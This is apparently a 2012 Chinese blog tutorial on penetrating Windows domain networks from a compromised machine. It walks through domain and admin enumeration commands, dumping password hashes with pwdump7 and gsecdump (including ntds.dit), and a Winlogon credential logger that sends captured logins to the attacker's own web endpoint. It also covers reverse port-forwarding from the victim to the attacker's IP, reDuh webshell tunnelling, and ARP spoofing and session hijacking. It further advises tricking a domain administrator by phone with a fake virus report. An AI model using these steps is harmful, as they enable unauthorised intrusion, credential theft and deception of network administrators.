Author:bugcx or Anonymous
Url:
http://blog.bug.cx/2012/04/25/%e5%9f%9f%e7%8e%af%e5%a2%83%e4%b8%8b%e7%9a%84%e6%b8%97%e9%80%
(撸一撸) | bugcx's blog | 关注网络安全

在进行内网渗透，尤其是在比较大型的网络环境下，很可能会遇到域这样一种特殊的网络环境，而在域环境下的内网渗透又将是另外一片天地。
首先还是先简要看一下域的概念吧：
域 (Domain) 是Windows网络中独立运行的单位，域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后，2个域之间不但可以按需要相互进行管理，还可以跨网分配文件和打印机等设备资源，使不同的域之间实现网络资源的共享与管理。
域既是 Windows 网络操作系统的逻辑组织单元，也是Internet的逻辑组织单元，在 Windows 网络操作系统中，域是安全边界。域管理员只能管理域的内部，除非其他的域显式地赋予他管理权限，他才能够访问或者管理其他的域；每个域都有自己的安全策略，以及它与其他域的安全信任关系。
通过上述的了解，我们可以知道域管理员的权限是相当大的，域管理员可以通过持有域的登陆票据从而实现对域内各个计算机的远程管理，即有权限登陆任何一台机器。那么在渗透的过程中我们就可以通过某种方式记录下管理员登陆的密码，当然了，这只是其中的一种思路。
获得一台内网或域中的肉鸡之后，先来查看一下当前的网络环境，执行：
net view
即可获得一系列主机名，并且可以通过Ping其机器名得到其IP地址，不过注意到列出的机器名只是在网络结构中有联系的，而不一定就在同一内网或域中。
执行
ipconfig /all
来查看是否存在域环境，倘若存在的话则可以继续执行：
net user /domain
来查看域内都有哪些用户，还可以查看指定域内都有哪些计算机：
net view /domain:testdomain　　(testdomain 假设为目标的其中一个域)
查看域内的管理员用户则可以执行：
net group "domain admins" /domain
还可以通过命令：
net user domain-admin /domain
查看管理员登陆时间，密码过期时间，是否有登陆脚本，组分配等信息。
一般在正式进攻之前还是多多掌握一些网络的信息为好，可以通过遍历管理员的文件从中获取可能的隐私信息，信息越多越好，其次就是抓取本机的hash值，这里可以用到一个工具：pwdump7.exe
用这个来抓hash很简单，命令行下直接执行即可，将hash导出到文本的命令为：
pwdump7.exe>1.txt
得到hash之后就可以用工具诸如lc5，rainbowcrack，saminside，ophcrack 之类的去破解了，运气好的话能破解出来了就可以利用这个密码尝试登陆内网的其他机器了，当然了，权限到底大不大那只能看运气了。这里还介绍另外一个域渗透中的利器：gsecdump
好处就在于能从域服务器密码存储文件
windowsntdsntds.dit
中导出所有域用户hash的工具，并能从活动进程中导出hash。而且只要有一个本地管理员权限 利用hash注入能开启域管理员进程，方便域渗透。命令行下的东西，看看说明就知道怎么用了。
还可以通过记录域管理员登陆该主机密码来获取信息，这里用到一个小工具：Winlogon
可以截获登陆本机3389的密码，当然了也可以截获域管理员登陆的密码了，至于如何让域管理员登陆此机，有可能需要一段漫长的等待，或许管理员有个固定的周期来登陆例行检查，或者你也可以制造个谎情来欺骗域管理员的登陆，以前就有哥们冒充服务器管理员给域管理员拨通了电话谎称服务器中了病毒无法清除请他来帮忙，域管理员没来得及多想就登陆进来了，结果可想而知，密码成功被记录！当然了，更多的方法还是要靠大家自己去想了，呵呵。
由于Winlogon只能将密码记录在本机，因为不知道管理员什么时候登陆进来，于是我们可以利用网上有人改造过的可以Asp发信的版本，直接将截获的用户名和密码发送至自己的Asp收信地址了。不过好像仅适用于Win2003系统。
使用方法为：运行 Loader.exe 填入自己的收信地址之后就会生成 CreateServer.exe，将Asp传到服务器，然后在肉鸡上运行密码记录器即可，post.asp 会在你的URL地址下生成key.txt。
前期准备告一段落了，接下来可以开始正式的渗透了。
一般情况下，内网中可能存在相当一部分存在弱口令或者有着溢出机会的机子，溢出不失为一个好主意，不过要注意到，虽然服务器已经被我们拿下了并且远程登陆上了，但是不一定所有的工作都必须在登陆界面进行，这样很有可能被管理员发现，或者产生其他未知的问题，而且有的时候要是工具们过于庞大的话也不便直接传上去，那么可以先利用端口转发，VPN之类的隧道技术将入侵环境移植到本地远程渗透上面来，这里可以用到几种利器：
①ncph的hd (Lcx也行，类似)
适用于防火墙阻止外部链接，双向外网的情况下。本机执行命令：
hd -s listen 53 1180
意思是将连接进来的53端口的数据转发到1180端口。
在肉鸡上运行：
hd -s -connect XX.XX.XX.XX 53　(XX.XX.XX.XX 为自己IP)
本机即可收到反弹回来的代理的情况。接下来就可以在SocksCap里面具体设置了，当然先要装上SocksCap，之后的sockets控制台设置如图：

连接之后就可以大胆的撒开手去干了，工具之类的可以直接拖进控制台界面。
②reDuh(Webshell下的跳板)
适用于webshell下用，支持aspx，php，jsp，可以把内网服务器的端口通过 http/https 隧道转发到本机，形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。服务端是个webshell(针对不同服务器有aspx,php,jsp三个版本)，客户端是java写的，本机执行最好装上JDK。
webshell传好之后，命令行下执行：
reDuhClient 目标服务器域名 http 80 /WEBSHELL路径/reDuh.aspx
然后本机用NC连接1010端口：
nc -vv localhost 1010
连接成功会有欢迎提示，之后输入命令
[createTunnel]1234:XX.XX.XX.XX:3389 (XX.XX.XX.XX 为肉鸡IP 或者域名)
即可将远程3389端口转发至本机1234端口，通道建立之后直接mstsc连接本机1234即可。
另外提供reDuh的GUI版本，无需本机安装JDK的支持就可以用了。
一切连接就绪之后，入侵可以开始实施了，常用的方法大概有几种：
溢出：
前面说了内网中出现弱口令和溢出可能性的概率是比较大的，那么就可以使用常见的溢出手法来进行攻击，(过一段时间再搜集一些常用的溢出手法以飨观众)可以使用端口扫描器扫描内网中其他机器的端口，通过弱口令之类的加以利用，这个的成功性就不好说了，要视情况而定，通常情况下都是比较繁琐一点的，因为现在大多数的计算机都是满载着补丁而行的，溢出的成功率已远不如从前那个溢出横行的时代了，不过这也不失为一种方法罢了。
欺骗：
欺骗分为很多种，有ARP欺骗，DNS欺骗，主动与被动会话劫持之类的。前两者可以利用强大的Cain来加以实现，至于Cain的具体用法就不多说了，Google一下，你就知道。而对于会话劫持，涉及到TCP/IP原理部分，而且由于其主要实现环境在linux下，本人也不太懂 =.= ，于是这里只是简要介绍一下了.
TCP使用端到端的连接，在数据传输中需要提供两段序列号：
字段序号(seq)和确认序号(ackseq)。
seq指出了本报文中传送的数据在发送主机所要传送的整个数据流中的顺序号，ackseq指出了发送本报文的主机希望接收的对方主机中下一个八位组的顺序号，两者之间的相互关系为：
要发出的报文中的seq值应等于它所刚收到的报文中的ackseq的值；
要发送报文中ackseq的值应为它所收到报文中seq的值加上该报文中所发送的TCP净荷的长度。
会话劫持者所需要做的就是窥探到正在进行TCP通信的两台主机之间传送的报文，得知该报文的源IP、源TCP端口号、目的IP、目的TCP端号，从而可以得知其中一台主机对将要收到的下一个TCP报文段中seq和ackseq值的要求，于是抢先向被攻击主机发送恶意的带有净荷的TCP报文获取会话的主动权，从而避开了被攻击主机对访问者的身份验证和安全认证。
不过其中要注意的就是如果会话中的主机发现所收到的数据包不是期望值的时候，那么就会用自己期望的序列号发送ACK包[ACK:期望收到对方数据包中第一个字节的序号]，那么对方所收到的也将不是期望值，就会再次以自己期望的序列号返回ACK包，周而复始形成ACK风暴(Strom)，从而造成数据流的堵塞，这样就不好了，所以事先要通过ARP欺骗实施包转发之后再进行会话劫持。
那么会话劫持的主要工具包括：arpspoof、fragrouter 和 hunt。
Arpspoof：ARP欺骗用
Fragrouter：包转发用
Hunt：会话劫持用 [Linux下]
至于详细操作步骤就不细说了，用的时候自己查阅便是了。
总结：内网域渗透很好很强大！如此高深的渗透技巧远不是本文这寥寥几句所能道得清的，这里这是略微总结一下内网渗透的基本技巧，更多的知识还要靠自己在实战中去挖掘，去体会，其实内网渗透是一个灰常艰苦的活儿，也只有实践才能出真知，坚持才能得胜利！

最新文章 相关文章 热评文章 Waiting Waiting
Waiting.....